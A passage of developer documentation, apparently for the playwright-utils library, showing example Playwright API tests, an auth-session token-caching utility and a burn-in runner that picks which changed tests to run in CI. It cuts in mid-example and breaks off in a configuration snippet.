  test('order service should validate user exists', async ({ apiRequest }) => {
    // Create user in user-service
    const { body: user } = await apiRequest({
      method: 'POST',
      path: '/api/users',
      baseUrl: USER_SERVICE_URL,
      body: { name: 'Test User', email: 'test@example.com' },
    });

    // Create order in order-service (should validate user via user-service)
    const { status, body: order } = await apiRequest({
      method: 'POST',
      path: '/api/orders',
      baseUrl: ORDER_SERVICE_URL,
      body: {
        userId: user.id,
        items: [{ productId: 'prod-1', quantity: 1 }],
      },
    });

    expect(status).toBe(201);
    expect(order.userId).toBe(user.id);
  });

  test('order service should reject invalid user', async ({ apiRequest }) => {
    const { status, body } = await apiRequest({
      method: 'POST',
      path: '/api/orders',
      baseUrl: ORDER_SERVICE_URL,
      body: {
        userId: 'non-existent-user',
        items: [{ productId: 'prod-1', quantity: 1 }],
      },
    });

    expect(status).toBe(400);
    expect(body.code).toBe('INVALID_USER');
  });

  test('order should decrease inventory', async ({ apiRequest, recurse }) => {
    // Get initial inventory
    const { body: initialInventory } = await apiRequest({
      method: 'GET',
      path: '/api/inventory/prod-1',
      baseUrl: INVENTORY_SERVICE_URL,
    });

    // Create order
    await apiRequest({
      method: 'POST',
      path: '/api/orders',
      baseUrl: ORDER_SERVICE_URL,
      body: {
        userId: 'user-123',
        items: [{ productId: 'prod-1', quantity: 2 }],
      },
    });

    // Poll for inventory update (eventual consistency)
    const { body: updatedInventory } = await recurse(
      () =>
        apiRequest({
          method: 'GET',
          path: '/api/inventory/prod-1',
          baseUrl: INVENTORY_SERVICE_URL,
        }),
      (response) => response.body.quantity === initialInventory.quantity - 2,
      { timeout: 10000, interval: 500 },
    );

    expect(updatedInventory.quantity).toBe(initialInventory.quantity - 2);
  });
});

Key Points:

• Multiple service URLs for microservice testing
• Tests service-to-service communication
• Uses recurse for eventual consistency
• No browser needed for full integration testing

Example 4: GraphQL API Testing

Context: Test GraphQL endpoints with queries and mutations.

Implementation:

// tests/api/graphql.spec.ts
import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';

const GRAPHQL_ENDPOINT = '/graphql';

test.describe('GraphQL API', () => {
  test('should query users', async ({ apiRequest }) => {
    const query = `
      query GetUsers($limit: Int) {
        users(limit: $limit) {
          id
          name
          email
          role
        }
      }
    `;

    const { status, body } = await apiRequest({
      method: 'POST',
      path: GRAPHQL_ENDPOINT,
      body: {
        query,
        variables: { limit: 10 },
      },
    });

    expect(status).toBe(200);
    expect(body.errors).toBeUndefined();
    expect(body.data.users).toHaveLength(10);
    expect(body.data.users[0]).toHaveProperty('id');
    expect(body.data.users[0]).toHaveProperty('name');
  });

  test('should create user via mutation', async ({ apiRequest }) => {
    const mutation = `
      mutation CreateUser($input: CreateUserInput!) {
        createUser(input: $input) {
          id
          name
          email
        }
      }
    `;

    const { status, body } = await apiRequest({
      method: 'POST',
      path: GRAPHQL_ENDPOINT,
      body: {
        query: mutation,
        variables: {
          input: {
            name: 'GraphQL User',
            email: 'graphql@example.com',
          },
        },
      },
    });

    expect(status).toBe(200);
    expect(body.errors).toBeUndefined();
    expect(body.data.createUser.id).toBeDefined();
    expect(body.data.createUser.name).toBe('GraphQL User');
  });

  test('should handle GraphQL errors', async ({ apiRequest }) => {
    const query = `
      query GetUser($id: ID!) {
        user(id: $id) {
          id
          name
        }
      }
    `;

    const { status, body } = await apiRequest({
      method: 'POST',
      path: GRAPHQL_ENDPOINT,
      body: {
        query,
        variables: { id: 'non-existent' },
      },
    });

    expect(status).toBe(200); // GraphQL returns 200 even for errors
    expect(body.errors).toBeDefined();
    expect(body.errors[0].message).toContain('not found');
    expect(body.data.user).toBeNull();
  });

  test('should handle validation errors', async ({ apiRequest }) => {
    const mutation = `
      mutation CreateUser($input: CreateUserInput!) {
        createUser(input: $input) {
          id
        }
      }
    `;

    const { status, body } = await apiRequest({
      method: 'POST',
      path: GRAPHQL_ENDPOINT,
      body: {
        query: mutation,
        variables: {
          input: {
            name: '', // Invalid: empty name
            email: 'invalid-email', // Invalid: bad format
          },
        },
      },
    });

    expect(status).toBe(200);
    expect(body.errors).toBeDefined();
    expect(body.errors[0].extensions.code).toBe('BAD_USER_INPUT');
  });
});

Key Points:

• GraphQL queries and mutations via POST
• Variables passed in request body
• GraphQL returns 200 even for errors (check body.errors)
• Test validation and business logic errors

Example 5: Database Seeding and Cleanup via API

Context: Use API calls to set up and tear down test data without direct database access.

Implementation:

// tests/api/with-data-setup.spec.ts
import { test, expect } from '@seontechnologies/playwright-utils/fixtures';

test.describe('Orders with Data Setup', () => {
  let testUser: { id: string; email: string };
  let testProducts: Array<{ id: string; name: string; price: number }>;

  test.beforeAll(async ({ request }) => {
    // Seed user via API
    const userResponse = await request.post('/api/users', {
      data: {
        name: 'Test User',
        email: `test-${Date.now()}@example.com`,
      },
    });
    testUser = await userResponse.json();

    // Seed products via API
    testProducts = [];
    for (const product of [
      { name: 'Widget A', price: 29.99 },
      { name: 'Widget B', price: 49.99 },
      { name: 'Widget C', price: 99.99 },
    ]) {
      const productResponse = await request.post('/api/products', {
        data: product,
      });
      testProducts.push(await productResponse.json());
    }
  });

  test.afterAll(async ({ request }) => {
    // Cleanup via API
    if (testUser?.id) {
      await request.delete(`/api/users/${testUser.id}`);
    }
    for (const product of testProducts) {
      await request.delete(`/api/products/${product.id}`);
    }
  });

  test('should create order with seeded data', async ({ apiRequest }) => {
    const { status, body } = await apiRequest({
      method: 'POST',
      path: '/api/orders',
      body: {
        userId: testUser.id,
        items: [
          { productId: testProducts[0].id, quantity: 2 },
          { productId: testProducts[1].id, quantity: 1 },
        ],
      },
    });

    expect(status).toBe(201);
    expect(body.userId).toBe(testUser.id);
    expect(body.items).toHaveLength(2);
    expect(body.total).toBe(2 * 29.99 + 49.99);
  });

  test('should list user orders', async ({ apiRequest }) => {
    // Create an order first
    await apiRequest({
      method: 'POST',
      path: '/api/orders',
      body: {
        userId: testUser.id,
        items: [{ productId: testProducts[2].id, quantity: 1 }],
      },
    });

    // List orders for user
    const { status, body } = await apiRequest({
      method: 'GET',
      path: '/api/orders',
      params: { userId: testUser.id },
    });

    expect(status).toBe(200);
    expect(body.orders.length).toBeGreaterThanOrEqual(1);
    expect(body.orders.every((o: any) => o.userId === testUser.id)).toBe(true);
  });
});

Key Points:

• beforeAll/afterAll for test data setup/cleanup
• API-based seeding (no direct DB access needed)
• Unique emails to prevent conflicts in parallel runs
• Cleanup after all tests complete

Example 6: Background Job Testing with Recurse

Context: Test async operations like background jobs, webhooks, and eventual consistency.

Implementation:

// tests/api/background-jobs.spec.ts
import { test, expect } from '@seontechnologies/playwright-utils/fixtures';

test.describe('Background Jobs', () => {
  test('should process export job', async ({ apiRequest, recurse }) => {
    // Trigger export job
    const { body: job } = await apiRequest({
      method: 'POST',
      path: '/api/exports',
      body: {
        type: 'users',
        format: 'csv',
        filters: { createdAfter: '2024-01-01' },
      },
    });

    expect(job.id).toBeDefined();
    expect(job.status).toBe('pending');

    // Poll until job completes
    const { body: completedJob } = await recurse(
      () => apiRequest({ method: 'GET', path: `/api/exports/${job.id}` }),
      (response) => response.body.status === 'completed',
      {
        timeout: 60000,
        interval: 2000,
        log: `Waiting for export job ${job.id} to complete`,
      },
    );

    expect(completedJob.status).toBe('completed');
    expect(completedJob.downloadUrl).toBeDefined();
    expect(completedJob.recordCount).toBeGreaterThan(0);
  });

  test('should handle job failure gracefully', async ({ apiRequest, recurse }) => {
    // Trigger job that will fail
    const { body: job } = await apiRequest({
      method: 'POST',
      path: '/api/exports',
      body: {
        type: 'invalid-type', // This will cause failure
        format: 'csv',
      },
    });

    // Poll until job fails
    const { body: failedJob } = await recurse(
      () => apiRequest({ method: 'GET', path: `/api/exports/${job.id}` }),
      (response) => ['completed', 'failed'].includes(response.body.status),
      { timeout: 30000 },
    );

    expect(failedJob.status).toBe('failed');
    expect(failedJob.error).toBeDefined();
    expect(failedJob.error.code).toBe('INVALID_EXPORT_TYPE');
  });

  test('should process webhook delivery', async ({ apiRequest, recurse }) => {
    // Trigger action that sends webhook
    const { body: order } = await apiRequest({
      method: 'POST',
      path: '/api/orders',
      body: {
        userId: 'user-123',
        items: [{ productId: 'prod-1', quantity: 1 }],
        webhookUrl: 'https://webhook.site/test-endpoint',
      },
    });

    // Poll for webhook delivery status
    const { body: webhookStatus } = await recurse(
      () => apiRequest({ method: 'GET', path: `/api/webhooks/order/${order.id}` }),
      (response) => response.body.delivered === true,
      { timeout: 30000, interval: 1000 },
    );

    expect(webhookStatus.delivered).toBe(true);
    expect(webhookStatus.deliveredAt).toBeDefined();
    expect(webhookStatus.responseStatus).toBe(200);
  });
});

Key Points:

• recurse for polling async operations
• Test both success and failure scenarios
• Configurable timeout and interval
• Log messages for debugging

Example 7: Service Authentication (No Browser)

Context: Test authenticated API endpoints using tokens directly - no browser login needed.

Implementation:

// tests/api/authenticated.spec.ts
import { test, expect } from '@seontechnologies/playwright-utils/fixtures';

test.describe('Authenticated API Tests', () => {
  let authToken: string;

  test.beforeAll(async ({ request }) => {
    // Get token via API (no browser!)
    const response = await request.post('/api/auth/login', {
      data: {
        email: process.env.TEST_USER_EMAIL,
        password: process.env.TEST_USER_PASSWORD,
      },
    });

    const { token } = await response.json();
    authToken = token;
  });

  test('should access protected endpoint with token', async ({ apiRequest }) => {
    const { status, body } = await apiRequest({
      method: 'GET',
      path: '/api/me',
      headers: {
        Authorization: `Bearer ${authToken}`,
      },
    });

    expect(status).toBe(200);
    expect(body.email).toBe(process.env.TEST_USER_EMAIL);
  });

  test('should reject request without token', async ({ apiRequest }) => {
    const { status, body } = await apiRequest({
      method: 'GET',
      path: '/api/me',
      // No Authorization header
    });

    expect(status).toBe(401);
    expect(body.code).toBe('UNAUTHORIZED');
  });

  test('should reject expired token', async ({ apiRequest }) => {
    const expiredToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'; // Expired token

    const { status, body } = await apiRequest({
      method: 'GET',
      path: '/api/me',
      headers: {
        Authorization: `Bearer ${expiredToken}`,
      },
    });

    expect(status).toBe(401);
    expect(body.code).toBe('TOKEN_EXPIRED');
  });

  test('should handle role-based access', async ({ apiRequest }) => {
    // User token (non-admin)
    const { status } = await apiRequest({
      method: 'GET',
      path: '/api/admin/users',
      headers: {
        Authorization: `Bearer ${authToken}`,
      },
    });

    expect(status).toBe(403); // Forbidden for non-admin
  });
});

Key Points:

• Token obtained via API login (no browser)
• Token reused across all tests in describe block
• Test auth, expired tokens, and RBAC
• Pure API testing without UI

Example 8: Operation-Based API Testing (OpenAPI / Code Generators)

Context: When your project uses code-generated operation definitions from an OpenAPI spec, leverage the operation-based overload of apiRequest (v3.14.0+) instead of manual method/path extraction. This eliminates typeof assertions and provides full type inference for request body, response, and query parameters.

Implementation:

// tests/api/operations.spec.ts
import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';

test.describe('API Tests with Generated Operations', () => {
  test('should create entity with full type safety', async ({ apiRequest }) => {
    // Operation object from code generator — contains path, method, and type info
    const { status, body } = await apiRequest({
      operation: createEntityOp({ workspaceId }),
      headers: getHeaders(workspaceId),
      body: entityInput, // Compile-time typed from operation.request
    });

    expect(status).toBe(201);
    expect(body.id).toBeDefined(); // body typed from operation.response
  });

  test('should list with typed query parameters', async ({ apiRequest }) => {
    // query field replaces manual string concatenation
    const { body } = await apiRequest({
      operation: listEntitiesOp({ workspaceId }),
      headers: getHeaders(workspaceId),
      query: { page: 0, page_size: 10, status: 'active' },
    });

    expect(body.items).toHaveLength(10);
    expect(body.total).toBeGreaterThan(10);
  });

  test('should poll async operation until complete', async ({ apiRequest, recurse }) => {
    const { body: job } = await apiRequest({
      operation: startJobOp({ workspaceId }),
      headers: getHeaders(workspaceId),
      body: { type: 'export' },
    });

    await recurse(
      async () =>
        apiRequest({
          operation: getJobOp({ workspaceId, jobId: job.id }),
          headers: getHeaders(workspaceId),
        }),
      (res) => res.body.status === 'completed',
      { timeout: 60000, interval: 2000 },
    );
  });
});

Key Points:

• operation replaces method + path — mutually exclusive at compile time
• Types for body, response, and query all inferred from the operation definition
• Works with any code generator using structural typing (no imports from playwright-utils needed in generator)
• Composable with recurse, validateSchema, and all existing apiRequest features
• Preferred approach over typeof operation.response for generated operations

API Test Configuration

Playwright Config for API-Only Tests

// playwright.config.ts
import { defineConfig } from '@playwright/test';

export default defineConfig({
  testDir: './tests/api',

  // No browser needed for API tests
  use: {
    baseURL: process.env.API_URL || 'http://localhost:3000',
    extraHTTPHeaders: {
      Accept: 'application/json',
      'Content-Type': 'application/json',
    },
  },

  // Faster without browser overhead
  timeout: 30000,

  // Run API tests in parallel
  workers: 4,
  fullyParallel: true,

  // No screenshots/traces needed for API tests
  reporter: [['html'], ['json', { outputFile: 'api-test-results.json' }]],
});

Separate API Test Project

// playwright.config.ts
export default defineConfig({
  projects: [
    {
      name: 'api',
      testDir: './tests/api',
      use: {
        baseURL: process.env.API_URL,
      },
    },
    {
      name: 'e2e',
      testDir: './tests/e2e',
      use: {
        baseURL: process.env.APP_URL,
        ...devices['Desktop Chrome'],
      },
    },
  ],
});

Comparison: API Tests vs E2E Tests

Related Fragments

• api-request.md - apiRequest utility details
• recurse.md - Polling patterns for async operations
• auth-session.md - Token management
• contract-testing.md - Pact contract testing
• test-levels-framework.md - When to use which test level
• data-factories.md - Test data setup patterns

Anti-Patterns

DON'T use E2E for API validation:

// Bad: Testing API through UI
test('validate user creation', async ({ page }) => {
  await page.goto('/admin/users');
  await page.fill('#name', 'John');
  await page.click('#submit');
  await expect(page.getByText('User created')).toBeVisible();
});

DO test APIs directly:

// Good: Direct API test
test('validate user creation', async ({ apiRequest }) => {
  const { status, body } = await apiRequest({
    method: 'POST',
    path: '/api/users',
    body: { name: 'John' },
  });
  expect(status).toBe(201);
  expect(body.id).toBeDefined();
});

DON'T ignore API tests because "E2E covers it":

// Bad thinking: "Our E2E tests create users, so API is tested"
// Reality: E2E tests one happy path; API tests cover edge cases

DO have dedicated API test coverage:

// Good: Explicit API test suite
test.describe('Users API', () => {
  test('creates user', async ({ apiRequest }) => {
    /* ... */
  });
  test('handles duplicate email', async ({ apiRequest }) => {
    /* ... */
  });
  test('validates required fields', async ({ apiRequest }) => {
    /* ... */
  });
  test('handles malformed JSON', async ({ apiRequest }) => {
    /* ... */
  });
  test('rate limits requests', async ({ apiRequest }) => {
    /* ... */
  });
});

Auth Session Utility

Principle

Persist authentication tokens to disk and reuse across test runs. Support multiple user identifiers, ephemeral authentication, and worker-specific accounts for parallel execution. Fetch tokens once, use everywhere. Works for both API-only tests and browser tests.

Rationale

Playwright's built-in authentication works but has limitations:

• Re-authenticates for every test run (slow)
• Single user per project setup
• No token expiration handling
• Manual session management
• Complex setup for multi-user scenarios

The auth-session utility provides:

• Token persistence: Authenticate once, reuse across runs
• Multi-user support: Different user identifiers in same test suite
• Ephemeral auth: On-the-fly user authentication without disk persistence
• Worker-specific accounts: Parallel execution with isolated user accounts
• Automatic token management: Checks validity, renews if expired
• Flexible provider pattern: Adapt to any auth system (OAuth2, JWT, custom)
• API-first design: Get tokens for API tests without browser overhead

Pattern Examples

Example 1: Basic Auth Session Setup

Context: Configure global authentication that persists across test runs.

Implementation:

// Step 1: Configure in global-setup.ts
import { authStorageInit, setAuthProvider, configureAuthSession, authGlobalInit } from '@seontechnologies/playwright-utils/auth-session';
import myCustomProvider from './auth/custom-auth-provider';

async function globalSetup() {
  // Ensure storage directories exist
  authStorageInit();

  // Configure storage path
  configureAuthSession({
    authStoragePath: process.cwd() + '/playwright/auth-sessions',
    debug: true,
  });

  // Set custom provider (HOW to authenticate)
  setAuthProvider(myCustomProvider);

  // Optional: pre-fetch token for default user
  await authGlobalInit();
}

export default globalSetup;

// Step 2: Create auth fixture
import { test as base } from '@playwright/test';
import { createAuthFixtures, setAuthProvider } from '@seontechnologies/playwright-utils/auth-session';
import myCustomProvider from './custom-auth-provider';

// Register provider early
setAuthProvider(myCustomProvider);

export const test = base.extend(createAuthFixtures());

// Step 3: Use in tests
test('authenticated request', async ({ authToken, request }) => {
  const response = await request.get('/api/protected', {
    headers: { Authorization: `Bearer ${authToken}` },
  });

  expect(response.ok()).toBeTruthy();
});

Key Points:

• Global setup runs once before all tests
• Token fetched once, reused across all tests
• Custom provider defines your auth mechanism
• Order matters: configure, then setProvider, then init

Example 2: Multi-User Authentication

Context: Testing with different user roles (admin, regular user, guest) in same test suite.

Implementation:

import { test } from '../support/auth/auth-fixture';

// Option 1: Per-test user override
test('admin actions', async ({ authToken, authOptions }) => {
  // Override default user
  authOptions.userIdentifier = 'admin';

  const { authToken: adminToken } = await test.step('Get admin token', async () => {
    return { authToken }; // Re-fetches with new identifier
  });

  // Use admin token
  const response = await request.get('/api/admin/users', {
    headers: { Authorization: `Bearer ${adminToken}` },
  });
});

// Option 2: Parallel execution with different users
test.describe.parallel('multi-user tests', () => {
  test('user 1 actions', async ({ authToken }) => {
    // Uses default user (e.g., 'user1')
  });

  test('user 2 actions', async ({ authToken, authOptions }) => {
    authOptions.userIdentifier = 'user2';
    // Uses different token for user2
  });
});

Key Points:

• Override authOptions.userIdentifier per test
• Tokens cached separately per user identifier
• Parallel tests isolated with different users
• Worker-specific accounts possible

Example 3: Ephemeral User Authentication

Context: Create temporary test users that don't persist to disk (e.g., testing user creation flow).

Implementation:

import { applyUserCookiesToBrowserContext } from '@seontechnologies/playwright-utils/auth-session';
import { createTestUser } from '../utils/user-factory';

test('ephemeral user test', async ({ context, page }) => {
  // Create temporary user (not persisted)
  const ephemeralUser = await createTestUser({
    role: 'admin',
    permissions: ['delete-users'],
  });

  // Apply auth directly to browser context
  await applyUserCookiesToBrowserContext(context, ephemeralUser);

  // Page now authenticated as ephemeral user
  await page.goto('/admin/users');

  await expect(page.getByTestId('delete-user-btn')).toBeVisible();

  // User and token cleaned up after test
});

Key Points:

• No disk persistence (ephemeral)
• Apply cookies directly to context
• Useful for testing user lifecycle
• Clean up automatic when test ends

Example 4: Testing Multiple Users in Single Test

Context: Testing interactions between users (messaging, sharing, collaboration features).

Implementation:

test('user interaction', async ({ browser }) => {
  // User 1 context
  const user1Context = await browser.newContext({
    storageState: './auth-sessions/local/user1/storage-state.json',
  });
  const user1Page = await user1Context.newPage();

  // User 2 context
  const user2Context = await browser.newContext({
    storageState: './auth-sessions/local/user2/storage-state.json',
  });
  const user2Page = await user2Context.newPage();

  // User 1 sends message
  await user1Page.goto('/messages');
  await user1Page.fill('#message', 'Hello from user 1');
  await user1Page.click('#send');

  // User 2 receives message
  await user2Page.goto('/messages');
  await expect(user2Page.getByText('Hello from user 1')).toBeVisible();

  // Cleanup
  await user1Context.close();
  await user2Context.close();
});

Key Points:

• Each user has separate browser context
• Reference storage state files directly
• Test real-time interactions
• Clean up contexts after test

Example 5: Worker-Specific Accounts (Parallel Testing)

Context: Running tests in parallel with isolated user accounts per worker to avoid conflicts.

Implementation:

// playwright.config.ts
export default defineConfig({
  workers: 4, // 4 parallel workers
  use: {
    // Each worker uses different user
    storageState: async ({}, use, testInfo) => {
      const workerIndex = testInfo.workerIndex;
      const userIdentifier = `worker-${workerIndex}`;

      await use(`./auth-sessions/local/${userIdentifier}/storage-state.json`);
    },
  },
});

// Tests run in parallel, each worker with its own user
test('parallel test 1', async ({ page }) => {
  // Worker 0 uses worker-0 account
  await page.goto('/dashboard');
});

test('parallel test 2', async ({ page }) => {
  // Worker 1 uses worker-1 account
  await page.goto('/dashboard');
});

Key Points:

• Each worker has isolated user account
• No conflicts in parallel execution
• Token management automatic per worker
• Scales to any number of workers

Example 6: Pure API Authentication (No Browser)

Context: Get auth tokens for API-only tests using auth-session disk persistence.

Implementation:

// Step 1: Create API-only auth provider (no browser needed)
// playwright/support/api-auth-provider.ts
import { type AuthProvider } from '@seontechnologies/playwright-utils/auth-session';

const apiAuthProvider: AuthProvider = {
  getEnvironment: (options) => options.environment || 'local',
  getUserIdentifier: (options) => options.userIdentifier || 'api-user',

  extractToken: (storageState) => {
    // Token stored in localStorage format for disk persistence
    const tokenEntry = storageState.origins?.[0]?.localStorage?.find((item) => item.name === 'auth_token');
    return tokenEntry?.value;
  },

  isTokenExpired: (storageState) => {
    const expiryEntry = storageState.origins?.[0]?.localStorage?.find((item) => item.name === 'token_expiry');
    if (!expiryEntry) return true;
    return Date.now() > parseInt(expiryEntry.value, 10);
  },

  manageAuthToken: async (request, options) => {
    const email = process.env.TEST_USER_EMAIL;
    const password = process.env.TEST_USER_PASSWORD;

    if (!email || !password) {
      throw new Error('TEST_USER_EMAIL and TEST_USER_PASSWORD must be set');
    }

    // Pure API login - no browser!
    const response = await request.post('/api/auth/login', {
      data: { email, password },
    });

    if (!response.ok()) {
      throw new Error(`Auth failed: ${response.status()}`);
    }

    const { token, expiresIn } = await response.json();
    const expiryTime = Date.now() + expiresIn * 1000;

    // Return storage state format for disk persistence
    return {
      cookies: [],
      origins: [
        {
          origin: process.env.API_BASE_URL || 'http://localhost:3000',
          localStorage: [
            { name: 'auth_token', value: token },
            { name: 'token_expiry', value: String(expiryTime) },
          ],
        },
      ],
    };
  },
};

export default apiAuthProvider;

// Step 2: Create auth fixture
// playwright/support/fixtures.ts
import { test as base } from '@playwright/test';
import { createAuthFixtures, setAuthProvider } from '@seontechnologies/playwright-utils/auth-session';
import apiAuthProvider from './api-auth-provider';

setAuthProvider(apiAuthProvider);

export const test = base.extend(createAuthFixtures());

// Step 3: Use in tests - token persisted to disk!
// tests/api/authenticated-api.spec.ts
import { test } from '../support/fixtures';
import { expect } from '@playwright/test';

test('should access protected endpoint', async ({ authToken, apiRequest }) => {
  // authToken is automatically loaded from disk or fetched if expired
  const { status, body } = await apiRequest({
    method: 'GET',
    path: '/api/me',
    headers: { Authorization: `Bearer ${authToken}` },
  });

  expect(status).toBe(200);
});

test('should create resource with auth', async ({ authToken, apiRequest }) => {
  const { status, body } = await apiRequest({
    method: 'POST',
    path: '/api/orders',
    headers: { Authorization: `Bearer ${authToken}` },
    body: { items: [{ productId: 'prod-1', quantity: 2 }] },
  });

  expect(status).toBe(201);
  expect(body.id).toBeDefined();
});

Key Points:

• Token persisted to disk (not in-memory) - survives test reruns
• Provider fetches token once, reuses until expired
• Pure API authentication - no browser context needed
• authToken fixture handles disk read/write automatically
• Environment variables validated with clear error message

Example 7: Service-to-Service Authentication

Context: Test microservice authentication patterns (API keys, service tokens) with proper environment validation.

Implementation:

// tests/api/service-auth.spec.ts
import { test as base, expect } from '@playwright/test';
import { test as apiFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
import { mergeTests } from '@playwright/test';

// Validate environment variables at module load
const SERVICE_API_KEY = process.env.SERVICE_API_KEY;
const INTERNAL_SERVICE_URL = process.env.INTERNAL_SERVICE_URL;

if (!SERVICE_API_KEY) {
  throw new Error('SERVICE_API_KEY environment variable is required');
}
if (!INTERNAL_SERVICE_URL) {
  throw new Error('INTERNAL_SERVICE_URL environment variable is required');
}

const test = mergeTests(base, apiFixture);

test.describe('Service-to-Service Auth', () => {
  test('should authenticate with API key', async ({ apiRequest }) => {
    const { status, body } = await apiRequest({
      method: 'GET',
      path: '/internal/health',
      baseUrl: INTERNAL_SERVICE_URL,
      headers: { 'X-API-Key': SERVICE_API_KEY },
    });

    expect(status).toBe(200);
    expect(body.status).toBe('healthy');
  });

  test('should reject invalid API key', async ({ apiRequest }) => {
    const { status, body } = await apiRequest({
      method: 'GET',
      path: '/internal/health',
      baseUrl: INTERNAL_SERVICE_URL,
      headers: { 'X-API-Key': 'invalid-key' },
    });

    expect(status).toBe(401);
    expect(body.code).toBe('INVALID_API_KEY');
  });

  test('should call downstream service with propagated auth', async ({ apiRequest }) => {
    const { status, body } = await apiRequest({
      method: 'POST',
      path: '/internal/aggregate-data',
      baseUrl: INTERNAL_SERVICE_URL,
      headers: {
        'X-API-Key': SERVICE_API_KEY,
        'X-Request-ID': `test-${Date.now()}`,
      },
      body: { sources: ['users', 'orders', 'inventory'] },
    });

    expect(status).toBe(200);
    expect(body.aggregatedFrom).toHaveLength(3);
  });
});

Key Points:

• Environment variables validated at module load with clear errors
• API key authentication (simpler than OAuth - no disk persistence needed)
• Test internal/service endpoints
• Validate auth rejection scenarios
• Correlation ID for request tracing

Note: API keys are typically static secrets that don't expire, so disk persistence (auth-session) isn't needed. For rotating service tokens, use the auth-session provider pattern from Example 6.

Custom Auth Provider Pattern

Context: Adapt auth-session to your authentication system (OAuth2, JWT, SAML, custom).

Minimal provider structure:

import { type AuthProvider } from '@seontechnologies/playwright-utils/auth-session';

const myCustomProvider: AuthProvider = {
  getEnvironment: (options) => options.environment || 'local',

  getUserIdentifier: (options) => options.userIdentifier || 'default-user',

  extractToken: (storageState) => {
    // Extract token from your storage format
    return storageState.cookies.find((c) => c.name === 'auth_token')?.value;
  },

  extractCookies: (tokenData) => {
    // Convert token to cookies for browser context
    return [
      {
        name: 'auth_token',
        value: tokenData,
        domain: 'example.com',
        path: '/',
        httpOnly: true,
        secure: true,
      },
    ];
  },

  isTokenExpired: (storageState) => {
    // Check if token is expired
    const expiresAt = storageState.cookies.find((c) => c.name === 'expires_at');
    return Date.now() > parseInt(expiresAt?.value || '0');
  },

  manageAuthToken: async (request, options) => {
    // Main token acquisition logic
    // Return storage state with cookies/localStorage
  },
};

export default myCustomProvider;

Integration with API Request

import { test } from '@seontechnologies/playwright-utils/fixtures';

test('authenticated API call', async ({ apiRequest, authToken }) => {
  const { status, body } = await apiRequest({
    method: 'GET',
    path: '/api/protected',
    headers: { Authorization: `Bearer ${authToken}` },
  });

  expect(status).toBe(200);
});

Related Fragments

• api-testing-patterns.md - Pure API testing patterns (no browser)
• overview.md - Installation and fixture composition
• api-request.md - Authenticated API requests
• fixtures-composition.md - Merging auth with other utilities

Anti-Patterns

❌ Calling setAuthProvider after globalSetup:

async function globalSetup() {
  configureAuthSession(...)
  await authGlobalInit()  // Provider not set yet!
  setAuthProvider(provider)  // Too late
}

✅ Register provider before init:

async function globalSetup() {
  authStorageInit()
  configureAuthSession(...)
  setAuthProvider(provider)  // First
  await authGlobalInit()     // Then init
}

❌ Hardcoding storage paths:

const storageState = './auth-sessions/local/user1/storage-state.json'; // Brittle

✅ Use helper functions:

import { getTokenFilePath } from '@seontechnologies/playwright-utils/auth-session';

const tokenPath = getTokenFilePath({
  environment: 'local',
  userIdentifier: 'user1',
  tokenFileName: 'storage-state.json',
});

Burn-in Test Runner

Principle

Use smart test selection with git diff analysis to run only affected tests. Filter out irrelevant changes (configs, types, docs) and control test volume with percentage-based execution. Reduce unnecessary CI runs while maintaining reliability.

Rationale

Playwright's --only-changed triggers all affected tests:

• Config file changes trigger hundreds of tests
• Type definition changes cause full suite runs
• No volume control (all or nothing)
• Slow CI pipelines

The burn-in utility provides:

• Smart filtering: Skip patterns for irrelevant files (configs, types, docs)
• Volume control: Run percentage of affected tests after filtering
• Custom dependency analysis: More accurate than Playwright's built-in
• CI optimization: Faster pipelines without sacrificing confidence
• Process of elimination: Start with all → filter irrelevant → control volume

Pattern Examples

Example 1: Basic Burn-in Setup

Context: Run burn-in on changed files compared to main branch.

Implementation:

// Step 1: Create burn-in script
// playwright/scripts/burn-in-changed.ts
import { runBurnIn } from '@seontechnologies/playwright-utils/burn-in'

async function main() {
  await runBurnIn({
    configPath: 'playwright/config/.burn-in.config.ts',
    baseBranch: 'main'
  })
}

main().catch(console.error)

// Step 2: Create config
// playwright/config/.burn-in.config.ts
import type { BurnInConfig } from '@seontechnologies/playwright-utils/burn-in'

const config: BurnInConfig = {
  // Files that never trigger tests (first filter)
  skipBurnInPatterns: [
    '**/config/**',
    '**/*constants*',
    '**/*types*',
    '**/*.md',
    '**/README*'
  ],

  // Run 30% of remaining tests after skip filter
  burnInTestPercentage: 0.3,

  // Burn-in repetition
  burnIn: {
    repeatEach: 3,  // Run each test 3 times
    retries: 1      // Allow 1 retry
  }
}

export default config

// Step 3: Add package.json script
{
  "scripts": {
    "test:pw:burn-in-changed": "tsx playwright/scripts/burn-in-changed.ts"
  }
}

Key Points:

• Two-stage filtering: skip patterns, then volume control
• skipBurnInPatterns eliminates irrelevant files
• burnInTestPercentage controls test volume (0.3 = 30%)
• Custom dependency analysis finds actually affected tests

Example 2: CI Integration

Context: Use burn-in in GitHub Actions for efficient CI runs.

Implementation:

# .github/workflows/burn-in.yml
name: Burn-in Changed Tests

on:
  pull_request:
    branches: [main]

jobs:
  burn-in:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0 # Need git history

      - name: Setup Node
        uses: actions/setup-node@v4

      - name: Install dependencies
        run: npm ci

      - name: Run burn-in on changed tests
        run: npm run test:pw:burn-in-changed -- --base-branch=origin/main

      - name: Upload artifacts
        if: failure()
        uses: actions/upload-artifact@v4
        with:
          name: burn-in-failures
          path: test-results/

Key Points:

• fetch-depth: 0 for full git history
• Pass --base-branch=origin/main for PR comparison
• Upload artifacts only on failure
• Significantly faster than full suite

Example 3: How It Works (Process of Elimination)

Context: Understanding the filtering pipeline.

Scenario:

Git diff finds: 21 changed files
├─ Step 1: Skip patterns filter
│  Removed: 6 files (*.md, config/*, *types*)
│  Remaining: 15 files
│
├─ Step 2: Dependency analysis
│  Tests that import these 15 files: 45 tests
│
└─ Step 3: Volume control (30%)
   Final tests to run: 14 tests (30% of 45)

Result: Run 14 targeted tests instead of 147 with --only-changed!

Key Points:

• Three-stage pipeline: skip → analyze → control
• Custom dependency analysis (not just imports)
• Percentage applies AFTER filtering
• Dramatically reduces CI time

Example 4: Environment-Specific Configuration

Context: Different settings for local vs CI environments.

Implementation:

import type { BurnInConfig } from '@seontechnologies/playwright-utils/burn-in';

const config: BurnInConfig = {
  skipBurnInPatterns: ['**/config/**', '**/*types*', '**/*.md'],

  // CI runs fewer iterations, local runs more
